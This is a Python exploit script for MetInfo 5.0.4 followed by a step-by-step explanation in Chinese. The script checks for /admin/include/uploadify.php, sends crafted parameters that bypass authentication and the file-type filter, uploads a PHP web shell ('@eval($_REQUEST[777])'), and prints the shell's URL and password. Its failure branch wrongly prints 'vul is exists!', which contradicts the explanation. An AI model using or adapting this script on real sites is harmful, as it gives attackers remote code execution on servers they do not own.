import requests
url = "http://192.168.177.167/MetInfo5.0.4"
headers = {
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.42"
}
def checkvul(url):
path = "/admin/include/uploadify.php"
if requests.get(url=url+path, headers=headers).status_code == 200:
print("[INFO] vul is exists!")
return True
else:
print("[INFO] vul is exists!")
return False
def attack(url):
paylaod = "/admin/include/uploadify.php"
paylaod += "?metinfo_admin_id=a"
paylaod += "&metinfo_admin_pass=admin"
paylaod += "&met_admin_table=met_admin_table%23"
paylaod += "&type=upfile"
paylaod += "&met_file_format=jpg|pphphp"
files = {
"Filedata": ("sh.php", "<?php @eval($_REQUEST[777]);phpinfo();?>", "image/png")
}
res = requests.post(url=url+paylaod, headers=headers, files=files)
shell_url = f"{url}/{res.text[5:]}"
print(f"shell_url is {shell_url}")
if requests.get(shell_url).status_code == 200:
print(f"[RESULT]\n Shell: {shell_url}\n password is: 777")
if checkvul(url):
attack(url=url)
代码详解:
这段代码是一个简单的漏洞利用脚本。下面我会逐步解释每个部分的功能和作用。
首先,通过import requests
导入了一个名为requests的库,用于发送HTTP请求。
然后,定义了一个变量url
,用于存储目标网站的URL,这里是"http://192.168.177.167/MetInfo5.0.4",即目标站点。
接下来,定义了一个名为headers
的字典,存储了HTTP请求的头部信息。这个头部信息中包含了用户代理(User-Agent)字符串,用于伪装成浏览器进行请求。这里使用了Chrome浏览器的User-Agent字符串。
接下来是checkvul
函数的定义,该函数用于检测漏洞是否存在。函数的参数是一个URL。
在checkvul
函数中,定义了一个变量path
,存储了漏洞检测的路径"/admin/include/uploadify.php"。
接下来,通过发送一个GET请求到目标URL+路径,并带上前面定义的头部信息。然后检查响应的状态码是否为200。如果是200,表示漏洞存在,打印"[INFO] vul is exists!“,并返回True;否则,打印”[INFO] vul is not exists!",并返回False。
接下来是attack
函数的定义,该函数用于攻击目标站点。函数的参数也是一个URL。
在attack
函数中,定义了一个变量payload
,存储了攻击所使用的负载。这个负载是一系列参数的拼接,用于构造攻击请求的URL。
然后,定义了一个名为files
的字典,存储了一个文件上传的参数。这个文件上传的参数包括文件的元数据和内容。
接下来,通过发送一个POST请求到目标URL+负载路径,并带上前面定义的头部信息和文件参数。然后将响应的内容赋值给变量res
。
然后使用切片操作,从res
的第5个字符开始截取字符串,构造出一个shell_url
。
接下来打印出shell_url
,用于显示攻击成功后的shell的URL。
然后,通过发送一个GET请求到shell_url
,并检查响应的状态码是否为200。如果是200,表示攻击成功,打印 “[RESULT]\n Shell: {shell_url}\n password is: 777”。
最后,通过调用checkvul
函数,检测漏洞是否存在,如果漏洞存在,则调用attack
函数进行攻击。